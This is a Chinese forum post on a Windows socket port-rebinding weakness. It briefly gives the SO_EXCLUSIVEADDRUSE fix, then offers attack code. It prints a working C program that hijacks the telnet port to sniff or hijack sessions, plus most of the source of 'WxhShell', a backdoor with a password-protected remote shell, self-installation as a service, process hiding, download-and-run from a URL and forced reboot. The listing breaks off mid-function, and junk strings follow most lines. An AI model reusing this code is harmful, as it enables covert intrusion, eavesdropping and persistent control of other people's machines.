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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i1KjQ1\a+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i`];xNR'  
O<,\ tZ'N  
  saddr.sin_family = AF_INET; ed_+bCNy  
l7VTuVGUJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); q{b-2k  
bT T>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6biR5&Y5U&  
2$!,$J-<Y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 es%py~m)  
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  这意味着什么?意味着可以进行如下的攻击: NYG!\u\Rm  
#;@I.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 a$^)~2U{  
Pw7uxN`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) P,WQN[(+  
<}8G1<QZ'.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S0:Oep   
dvZlkMm   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  k2,`W2] ^E  
eK*oV}U-k  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Mk973 'K'  
5|Z8UzL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F!/-2u5gF  
(0`w.n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 B|$o.$5  
kdV9F  
  #include CRNi*u  
  #include 2g?q4e,  
  #include qR?}i,_  
  #include    L,nb<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =Bm|9A1  
  int main() \)>#`X  
  { `jTB9A"  
  WORD wVersionRequested; S&]r6ss  
  DWORD ret; ; 8eGf'  
  WSADATA wsaData; gV h&c 4  
  BOOL val; pBv,,d`  
  SOCKADDR_IN saddr; ^>Z7."uGY  
  SOCKADDR_IN scaddr; B3?rR-2mEE  
  int err; {^uiu^RAc  
  SOCKET s; jAy2C&aP  
  SOCKET sc; AcXVfk z  
  int caddsize; % a.T@E  
  HANDLE mt; kZrc^  
  DWORD tid;   } snS~kx  
  wVersionRequested = MAKEWORD( 2, 2 ); GQd[7j[sh  
  err = WSAStartup( wVersionRequested, &wsaData ); Ij =NcP  
  if ( err != 0 ) { ]SPuNBsy)  
  printf("error!WSAStartup failed!\n"); :2 :VMIa  
  return -1; 1-PlRQs.1  
  }  iD])E/  
  saddr.sin_family = AF_INET; z#P`m,~t0  
   `{ HWk^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 k\j_hu  
"%a<+D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %, iAn gF'  
  saddr.sin_port = htons(23); JZ5";*,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T{`VUS/  
  { j;z7T;!i  
  printf("error!socket failed!\n"); yJ0 %6],^g  
  return -1; B)L0hi  
  } 'r\RN\PT  
  val = TRUE; Vky]In=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -Eq[J k  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `#8kJt  
  { l Ib d9F  
  printf("error!setsockopt failed!\n"); !]D`|HoW  
  return -1; |pG0 .p4  
  } BOcD?rrZ0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -KfK~P3PF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4e AMb  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >b=."i  
ONDO xXs  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) G%>[7]H  
  { Wq5}LO)  
  ret=GetLastError(); oJ3(7Sz  
  printf("error!bind failed!\n"); +r;t]  
  return -1; tCGx]\  
  } &k)v/  
  listen(s,2); FPF$~ sX  
  while(1) M<NY`7$^  
  { 6<QC|>p  
  caddsize = sizeof(scaddr); t6mv  
  //接受连接请求 pnz:<V"Y(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :FH&#Eq~4  
  if(sc!=INVALID_SOCKET) rWDD$4y  
  { =jS$piw.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _O'!C!K6  
  if(mt==NULL) *x]*%  
  { ~x<?Pj  
  printf("Thread Creat Failed!\n"); xL i3|^q  
  break; p8)R#QWz9  
  } oaPWeM+  
  } 5G(dvM-n  
  CloseHandle(mt); Yo' Y-h#  
  } p=E#!cn3  
  closesocket(s); oD\t4]?E  
  WSACleanup(); 2Vf242z_  
  return 0; @n.n[zb\|  
  }   i|AWaG)  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8HJ,6Lr;  
  { U.I w/T-5  
  SOCKET ss = (SOCKET)lpParam; WG\ _eRj  
  SOCKET sc; w%iw xo   
  unsigned char buf[4096]; YaC[S^p  
  SOCKADDR_IN saddr; <DR! AR)  
  long num; vxC];nCC#  
  DWORD val; 4Otq3s34FT  
  DWORD ret; GQhy4ji'z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j3`YaWw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   hi/d%lNZ  
  saddr.sin_family = AF_INET; \#VWZ\M8a  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z}\,rex  
  saddr.sin_port = htons(23); 6S_mfWsi  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [TUs^%2@  
  { <;?1#ok  
  printf("error!socket failed!\n"); 39 zfbxX  
  return -1; ZN;ondp4  
  } ISFNP&& K  
  val = 100; esBv,b?*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [r3sk24  
  { Eri007?D  
  ret = GetLastError(); $%"hhju  
  return -1; An0N'yo"Z  
  } '\op$t/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jN*wbqL  
  { {J,"iJKop  
  ret = GetLastError(); ^0}wmxDq  
  return -1; jn ztCNaX  
  } 4:a ~Wlp[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) a)=|{QR>W  
  { (?^F }]  
  printf("error!socket connect failed!\n"); kBrA ?   
  closesocket(sc); F!u)8>s+z{  
  closesocket(ss); IO 0nT  
  return -1; \aM-m:J  
  } myN2G?>;  
  while(1) Z8Y& #cB  
  { 9{j`eAUZl  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 lZ[J1:%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >4kQ9lXL  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 eZ[Qhrc  
  num = recv(ss,buf,4096,0); 3%GsTq2o  
  if(num>0) $|J+  
  send(sc,buf,num,0); 7 L ,`7k|  
  else if(num==0) 7#G!es  
  break; %k['<BYG<  
  num = recv(sc,buf,4096,0); E#8|h(  
  if(num>0) '/ Hoq  
  send(ss,buf,num,0); <a -a~  
  else if(num==0) (GL'm[V  
  break; SG\ /m'F  
  } G<<; a  
  closesocket(ss); Q(yg bT  
  closesocket(sc); wXqwb|2  
  return 0 ; iV?8'^  
  } YzM/?enK}T  
:{Z%dD  
" j?xgV  
========================================================== !> +Lre@  
biS[GyQ  
下边附上一个代码,,WXhSHELL /<$|tp\Rc  
_RxnB?  
========================================================== fS|e{!iI"  
5WRqeSGh  
#include "stdafx.h" CALD7qMK  
U_gkO;s%  
#include <stdio.h> *!BQ1 ] G  
#include <string.h> =1R 2`H\  
#include <windows.h> =LK`m NA  
#include <winsock2.h> .B2e$`s$  
#include <winsvc.h> M!!vr8}  
#include <urlmon.h> !]A/ID0K  
&1^~G0 Rh\  
#pragma comment (lib, "Ws2_32.lib") Z`GEF|eh  
#pragma comment (lib, "urlmon.lib") G9QvIXRi  
n7Eh!<  
#define MAX_USER   100 // 最大客户端连接数 BxlhCu  
#define BUF_SOCK   200 // sock buffer PHI c7*_  
#define KEY_BUFF   255 // 输入 buffer *?uUP  
SC2LY  
#define REBOOT     0   // 重启 StTxga|  
#define SHUTDOWN   1   // 关机 AI{0;0  
#4LTUVH  
#define DEF_PORT   5000 // 监听端口 Op~:z<z  
1EQ:@1  
#define REG_LEN     16   // 注册表键长度 Lk#)VGk:  
#define SVC_LEN     80   // NT服务名长度 u #}1 M  
e@Ev']  
// 从dll定义API v*JKLA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ELMz~vp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E)jd>"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Bd=K40Z:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (,+#H]L  
$t"QLsk0  
// wxhshell配置信息 +N+117m  
struct WSCFG { mr#.uhd.z  
  int ws_port;         // 监听端口 d$+0 ;D4E  
  char ws_passstr[REG_LEN]; // 口令 <_eEpG}9  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9 4lt?|3=  
  char ws_regname[REG_LEN]; // 注册表键名  (yd(ZY  
  char ws_svcname[REG_LEN]; // 服务名 p= x &X~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !J<0.nO/:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4[;}/-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rOEBL|P0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :KG=3un]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tCR~z1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m3P7*S5NJ7  
,f,+)C$  
}; b.[9Adi >  
}.9a!/@Aj  
// default Wxhshell configuration WpE "A  
struct WSCFG wscfg={DEF_PORT, Xf7]+  
    "xuhuanlingzhe", D5bi)@G7z  
    1, OT|0_d?bD  
    "Wxhshell",  oSy9Xw  
    "Wxhshell",  Q$`uZ  
            "WxhShell Service", BSd.7W;cS=  
    "Wrsky Windows CmdShell Service", _G<Wq`0w)  
    "Please Input Your Password: ", G}NqVbZ9]  
  1, >< S2o%u~  
  "http://www.wrsky.com/wxhshell.exe", I D-I<Ev  
  "Wxhshell.exe" hDUU_.q)D  
    }; &1 yErGXC  
&;JeLL1J  
// 消息定义模块 Zj ^e8u=T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oPbziB8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7MJ\*+T|03  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KY%qzq,n  
char *msg_ws_ext="\n\rExit."; X#ha*u~U  
char *msg_ws_end="\n\rQuit."; f61vE  
char *msg_ws_boot="\n\rReboot..."; y>u |3:z  
char *msg_ws_poff="\n\rShutdown..."; ){,M v:#+T  
char *msg_ws_down="\n\rSave to "; t&5Ne ?  
d >zC[]1  
char *msg_ws_err="\n\rErr!"; (0_zp`)  
char *msg_ws_ok="\n\rOK!"; x*TJYST  
|lzcyz  
char ExeFile[MAX_PATH]; Z]k@pR !  
int nUser = 0; la 0:jO5  
HANDLE handles[MAX_USER]; .s41Tc5u  
int OsIsNt; w6mYLK%  
JHZjf7g$k  
SERVICE_STATUS       serviceStatus; ^AOJ^@H^>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J#3[,~  
jMS>B)'TO  
// 函数声明 r[7*1'. p  
int Install(void); hV) `e"r\s  
int Uninstall(void); SXJjagAoML  
int DownloadFile(char *sURL, SOCKET wsh); :1gpbfW  
int Boot(int flag); )_o^d>$da  
void HideProc(void); W.D>$R2  
int GetOsVer(void); {KEmGHC4R  
int Wxhshell(SOCKET wsl); F1M:"-bda  
void TalkWithClient(void *cs); i;|I; 5tC  
int CmdShell(SOCKET sock); Ja/  
int StartFromService(void); TpYh)=;k  
int StartWxhshell(LPSTR lpCmdLine); UL%a^' hR  
"}-S%v`)z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d:_;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~>~qA0m"m  
[io|qLr}\  
// 数据结构和表定义 EUV8H}d5  
SERVICE_TABLE_ENTRY DispatchTable[] = 7+X~i@#rU  
{ gMPp'^g]_  
{wscfg.ws_svcname, NTServiceMain}, `YMd0*  
{NULL, NULL} @^g~F&Ta  
}; > XM]UdP  
*{Z=)k%  
// 自我安装 G!%8DX5  
int Install(void) 91q  
{ &rX#A@=  
  char svExeFile[MAX_PATH]; NN5Ejr,  
  HKEY key; ;mwnAO  
  strcpy(svExeFile,ExeFile); B/!/2x  
)DlKeiK  
// 如果是win9x系统,修改注册表设为自启动 fYh<S  
if(!OsIsNt) { N&Ho$,2s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )t\aB_ =  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K" X" 2c1o  
  RegCloseKey(key); M,bs`amz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vEGI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9zIqSjos"  
  RegCloseKey(key); )1 HWD]>4  
  return 0; WNQ<XB qAw  
    } kl9~obX 1  
  } _./s[{ek  
} {I?)ODx7qC  
else { HXZ,"S  
O.xtY @'"  
// 如果是NT以上系统,安装为系统服务 u-mD"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kBoQjOV`  
if (schSCManager!=0) &CN(PZv  
{ @_#\qGY  
  SC_HANDLE schService = CreateService -R\dgS3  
  ( )E^4U 9v),  
  schSCManager, 1Ax;|.KQH  
  wscfg.ws_svcname, *0Fz." v  
  wscfg.ws_svcdisp, _u~0t`f~  
  SERVICE_ALL_ACCESS, 've[Mx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8~TKiR5  
  SERVICE_AUTO_START, ReA-.j_2@  
  SERVICE_ERROR_NORMAL, Vi}E9I4  
  svExeFile, 4fjwC,,  
  NULL, {B6ywTK\ `  
  NULL, ~(GN Y5  
  NULL, $ b53~  
  NULL, r`h".=oD  
  NULL ~<s^HP2U{  
  ); urCTP.F  
  if (schService!=0) ~{vB2  
  { kY{$[+-jR  
  CloseServiceHandle(schService); LNHi }P~  
  CloseServiceHandle(schSCManager); { w sT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v'S5F@ln  
  strcat(svExeFile,wscfg.ws_svcname); BNI)y@E^X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :g^ mg-8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TOS'|xQ  
  RegCloseKey(key); dh&> E  
  return 0; [+ xsX*+  
    } HiH<'m"\.  
  } PB8g4-?p6  
  CloseServiceHandle(schSCManager); )4c?BCgy  
} R:R<Xt N`5  
} CgYX^h?Y9  
|d*a~T0  
return 1; lmD [Cn  
} n 9`]}bnX  
G43r85LO  
// 自我卸载 {P_7AM  
int Uninstall(void) Fkq^2o ]  
{ cF8X  
  HKEY key; Q[K)Yd  
K :~tZ  
if(!OsIsNt) { ACZK]~Y'N*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cGdYfi  
  RegDeleteValue(key,wscfg.ws_regname); J|%bRLX@>  
  RegCloseKey(key); '\xE56v)F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ot:}Ncq^\O  
  RegDeleteValue(key,wscfg.ws_regname); /7:+.#Ag`  
  RegCloseKey(key); /S1/ZI  
  return 0; 5s`r&2 w  
  } )7o? }"I  
} p:W]  
} .jk A'i@  
else { ;+6><O!G  
Z[ (d7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NVsaV;u  
if (schSCManager!=0) ~T-uk  
{ e6J^J&`|4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7Zd g314  
  if (schService!=0) -57~7 <N  
  { C1UU v=|  
  if(DeleteService(schService)!=0) { 72yJv=G  
  CloseServiceHandle(schService); voN~f>  
  CloseServiceHandle(schSCManager); LyWY\K a  
  return 0; *pv<ZF0>  
  } q^Oj/ws  
  CloseServiceHandle(schService); dIYf}7P  
  } 9!W$S[ABRB  
  CloseServiceHandle(schSCManager); |('o g*$  
} X:;x5'|  
} '@ Rk#=85Z  
&r4|WM/ec  
return 1; s*<T'0&w0S  
} )`R}@(r.  
%!(C?k!\  
// 从指定url下载文件 {B4qeG5  
int DownloadFile(char *sURL, SOCKET wsh) g3>>gu#0DC  
{ hd~#I<8;2  
  HRESULT hr; vO~  Tx  
char seps[]= "/"; CE c(2q+%i  
char *token; 2b^Fz0 w4  
char *file; 0F/[GZ<k  
char myURL[MAX_PATH]; 3]mprX'  
char myFILE[MAX_PATH]; "NGfT:HV  
]7S f)  
strcpy(myURL,sURL); 8(L2w|+B<  
  token=strtok(myURL,seps); R]&Csr#~  
  while(token!=NULL) 6uFw+Ya#  
  { -bHlFNRm  
    file=token; /(51\RYkir  
  token=strtok(NULL,seps); 'hs4k|B  
  } aK@ Y) Ju'  
4Yi kC  
GetCurrentDirectory(MAX_PATH,myFILE); 4\ Xaou2V[  
strcat(myFILE, "\\"); PgT8 1u  
strcat(myFILE, file); ?u@jedQ  
  send(wsh,myFILE,strlen(myFILE),0); =f{v:n6  
send(wsh,"...",3,0); L6{gwoZf3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F=1 #qo<?  
  if(hr==S_OK) yxp,)os:  
return 0; :;]9,n  
else v x/YWZ  
return 1; d!0rq4v7  
.7g h2K  
} WK(X/!1/k  
UgS`{&b36  
// 系统电源模块 -8Mb~Hfl0  
int Boot(int flag) Ue >]uZ|  
{ DR}I+<*%aD  
  HANDLE hToken; _Tor9Tj  
  TOKEN_PRIVILEGES tkp; nM2<u[{gF  
Q'Osw"  
  if(OsIsNt) { *?HGi>]\ |  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N\g=9o|Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q/ .LDye8  
    tkp.PrivilegeCount = 1; D^US2B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _r{H)}9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <a @7's  
if(flag==REBOOT) { FrXP"U}Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =zK4jiM1  
  return 0; 7` ;sX?R  
} W wPzm?30  
else { K8X7IE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f/#Id]B  
  return 0; u5k {.&  
} L4m Vk  
  } 4i)5=H  
  else { 5buW\_G)  
if(flag==REBOOT) { iiIns.V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~. vridH  
  return 0; +?o!"SJ  
} uo]xC+^  
else { &3Zb?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rBTg"^jsw  
  return 0; X_o#!  
} iv *$!\Cd  
} %0C [v7\  
.F 6US<]  
return 1; N knS:r&2  
} ) bI.K[0^  
)/;+aDk  
// win9x进程隐藏模块 _) x{TnK  
void HideProc(void) xyk%\&"7  
{ j}ob7O&U'w  
Mu[lk=jC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2MRd  
  if ( hKernel != NULL ) KQNQ<OE 4  
  { [q2:d^_FA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4@{c K|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d/Q#Z  
    FreeLibrary(hKernel); t2(X  
  } .))j R:{3  
3&^hf^yg  
return; 7 mCf*|  
} 5 :IDl1f5  
I0 ~'z f  
// 获取操作系统版本 .h=n [`RB  
int GetOsVer(void) 1Z< ^8L<  
{ 8>e YM  
  OSVERSIONINFO winfo; uS`}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  O>]i?  
  GetVersionEx(&winfo); {fACfSW6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F(ydqgH~a  
  return 1; Hq W /  
  else .t1:;H b  
  return 0; w{*kbGB8s7  
} >fXtu:C-!J  
qKfUm:7Q_  
// 客户端句柄模块 eavn.I8J  
int Wxhshell(SOCKET wsl) Ra|P5  
{ l!x+K&  
  SOCKET wsh; zX_F+"]THt  
  struct sockaddr_in client; O3o ^%0  
  DWORD myID; MRt"#CO  
metn&  
  while(nUser<MAX_USER) mxgT}L0i  
{ t8-Nli*O  
  int nSize=sizeof(client); uAA2G\3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b_~XTWP$l  
  if(wsh==INVALID_SOCKET) return 1; `&D#P%  
RBrb7D{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~ps,U  
if(handles[nUser]==0) hAf/&yA@  
  closesocket(wsh); kFp^?+WI%H  
else _gqqPny4$  
  nUser++; (Ut8pa+yX  
  } p*Q-o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !y b06Z\f  
B8Fb$  
  return 0; RD:G 9[  
} $^iio@SW{  
w UxFE=ia  
// 关闭 socket #4bT8kq  
void CloseIt(SOCKET wsh) u4~+Bc_GL  
{ \.mVLLtG  
closesocket(wsh); 2]mV9B   
nUser--; "++\6 H<  
ExitThread(0); 1@L18%h  
} n/5T{NfG  
,<%uG6/",g  
// 客户端请求句柄 EN2t}rua  
void TalkWithClient(void *cs) t <` As6}  
{ Nj4CkMM[3  
]oV{JR]  
  SOCKET wsh=(SOCKET)cs; D-BT`@~l  
  char pwd[SVC_LEN]; RdPk1?}K  
  char cmd[KEY_BUFF]; i4|R0>b  
char chr[1]; \lQ3j8 U  
int i,j; bIiun a\  
k4V3.i!E  
  while (nUser < MAX_USER) { ?-)!dl%N  
k 3m_L-  
if(wscfg.ws_passstr) { [=(8yUV'G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T<0r,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); We{@0K/O  
  //ZeroMemory(pwd,KEY_BUFF); MMFg{8  
      i=0; G*N[tw  
  while(i<SVC_LEN) { `Qo37B2  
Mm@G{J\\  
  // 设置超时 ~wDXjn"U&  
  fd_set FdRead; I0zx'x)F  
  struct timeval TimeOut; qqw P4ceG  
  FD_ZERO(&FdRead); ,kJ7c;:i  
  FD_SET(wsh,&FdRead); ar<8wq<4G  
  TimeOut.tv_sec=8; CKn2ZL  
  TimeOut.tv_usec=0; _dm0*T ?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &qS%~h%2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u$R5Q{H_  
BjfVNF;hk:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I/njyV)H  
  pwd=chr[0]; u"qVT9C$=  
  if(chr[0]==0xd || chr[0]==0xa) { ]Kq<U%x$  
  pwd=0; 9iG&9tB@  
  break; C}) Dvh  
  }  c`xNTr01  
  i++; G"?7 Z&+  
    } *eoH"UFYQ#  
d/9YtG%q  
  // 如果是非法用户,关闭 socket m&gd<rt/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ikc1,o  
} ~QbHp|g  
P_5aHeiJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qhY+<S9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wL8j i>"  
$L= Dky7  
while(1) { `*vO8v  
l48$8Mgrr  
  ZeroMemory(cmd,KEY_BUFF); 'UsR/h5T  
`TJhH<z"%  
      // 自动支持客户端 telnet标准   ^ nPy(Q0  
  j=0; O(W"QY  
  while(j<KEY_BUFF) { /.0K#J:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mzK0$y #*o  
  cmd[j]=chr[0]; D-/6RVq0m  
  if(chr[0]==0xa || chr[0]==0xd) { ;F258/J  
  cmd[j]=0; "BSY1?k{  
  break; #<)[{+f[t  
  } ht2Fi e  
  j++; Cw(e7K7&  
    } 7_ix&oVI  
z)C}}NH*!@  
  // 下载文件 B9NUafK=  
  if(strstr(cmd,"http://")) { `'s_5Ek  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DYf2V6'  
  if(DownloadFile(cmd,wsh)) !tTv$L>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ~frsgHW  
  else 68z#9}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sqn>L`Lz  
  } ?IAu,s*u  
  else { |V\{U j  
Jai]z  
    switch(cmd[0]) { e=(Y,e3  
  {'4#{zmp  
  // 帮助 eWDXV-xD  
  case '?': { @}4>:\es  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v,}C~L3  
    break; X&zGgP/  
  } +zMhA p  
  // 安装 )r46I$]>  
  case 'i': { gg#9I(pX  
    if(Install()) Ll=G+cw6P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W~mo*EJ'^  
    else f)_<Ih\/7_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LKvX~68  
    break; # QwX|x{  
    } 6c]4(%8  
  // 卸载 @;eH~3P  
  case 'r': { 6 EqN>.  
    if(Uninstall()) 3yRvs;nWS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B7uK:J:c*H  
    else 7#C$}1XJ1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \L(jNN0_R  
    break; bWA_a]G  
    } 9!jF$  
  // 显示 wxhshell 所在路径 I+ |uyc  
  case 'p': {  d\ #yWY  
    char svExeFile[MAX_PATH]; AVjRhe   
    strcpy(svExeFile,"\n\r"); f0 g/`j@Up  
      strcat(svExeFile,ExeFile); n@+?tYk*e  
        send(wsh,svExeFile,strlen(svExeFile),0); .eIs$  
    break; IB# ua:  
    } "m^gCN}c  
  // 重启 qe&|6M!  
  case 'b': { R8[VD iM6E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &qWg$_Yh  
    if(Boot(REBOOT)) cV>?*9z0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p|->z  
    else { 6kp)'wz`  
    closesocket(wsh); A~Sc ] M  
    ExitThread(0); 3Y#  
    } c<_1o!68  
    break; h i!K-_Uy  
    } !X7z y9  
  // 关机 O83J[YuzjN  
  case 'd': { K7 C <}y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k+{~#@  
    if(Boot(SHUTDOWN)) -I{op wd  
